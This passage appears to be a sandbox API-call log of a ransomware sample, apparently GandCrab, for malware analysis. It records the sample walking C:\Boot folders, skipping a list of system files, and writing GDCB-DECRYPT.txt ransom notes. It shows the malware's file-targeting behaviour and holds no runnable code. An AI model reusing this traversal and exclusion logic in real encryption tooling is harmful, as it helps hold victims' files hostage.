[0169.503] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0169.503] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0169.503] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.503] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.503] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.503] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.503] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt" [0169.503] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0169.503] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.503] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.503] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.503] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.503] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0169.503] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0169.503] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.503] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.503] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.503] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.503] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt") returned 31 [0169.503] CreateFileW (lpFileName="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\it-it\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.503] GetLastError () returned 0x50 [0169.503] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.504] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0169.504] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0169.504] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4b58 [0169.504] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.504] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.504] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.504] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.504] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.504] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0169.504] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.504] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0169.504] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0169.504] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.504] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.504] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.504] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt" [0169.504] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.504] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0169.504] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0169.505] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0169.505] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.505] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.505] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.505] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.505] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.505] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.505] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0169.505] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.505] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0169.505] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0169.505] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.505] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.505] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.505] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.505] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0169.505] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0169.505] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0169.505] lstrcatW (in: lpString1="C:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0169.505] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.506] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.506] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.506] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0169.506] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0169.506] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4b58 [0169.506] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.506] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.506] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.506] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.506] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.506] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.506] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.506] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0169.506] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0169.506] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.506] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.506] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.506] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.506] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt" [0169.506] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0169.506] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.506] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.506] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.506] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.506] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0169.506] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0169.506] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.506] FindNextFileW (in: hFindFile=0x5a4b58, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.506] FindClose (in: hFindFile=0x5a4b58 | out: hFindFile=0x5a4b58) returned 1 [0169.506] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.507] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt") returned 31 [0169.507] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ja-jp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.507] GetLastError () returned 0x50 [0169.507] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.507] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0169.507] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0169.507] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a5018 [0169.507] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.507] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.507] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.507] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.507] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.507] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.507] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.507] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0169.507] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.507] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0169.507] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0169.507] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.508] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.508] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.508] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.508] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt" [0169.508] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.508] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0169.508] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0169.508] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0169.508] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.508] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.508] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.508] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.508] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.508] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.508] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0169.508] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.508] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0169.508] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0169.508] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.509] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.509] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.509] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.509] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0169.509] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0169.509] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0169.509] lstrcatW (in: lpString1="C:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0169.509] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.509] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.509] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.509] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0169.509] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0169.509] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4c18 [0169.509] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.509] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.509] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.509] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.509] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.509] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.509] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.509] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0169.509] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0169.509] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.509] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.509] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.509] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.509] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt" [0169.510] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0169.510] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.510] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.510] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.510] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.510] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0169.510] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0169.510] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.510] FindNextFileW (in: hFindFile=0x5a4c18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.510] FindClose (in: hFindFile=0x5a4c18 | out: hFindFile=0x5a4c18) returned 1 [0169.510] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.510] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt") returned 31 [0169.510] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ko-kr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.510] GetLastError () returned 0x50 [0169.510] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.510] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0169.510] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0169.510] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a49d8 [0169.510] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.510] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.510] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.510] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.510] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.510] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.510] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0169.510] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.511] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0169.511] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0169.511] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.511] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.511] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.511] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.511] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt" [0169.511] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.511] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0169.511] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0169.511] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0169.511] lstrlenW (lpString="C:\\Boot\\ko-KR\\GDCB-DECRYPT.txt") returned 30 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.511] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.511] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.511] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.511] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.511] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.511] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0169.511] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.512] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0169.512] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0169.512] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.512] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.512] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.512] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.512] lstrcmpW (lpString1="lt-LT", 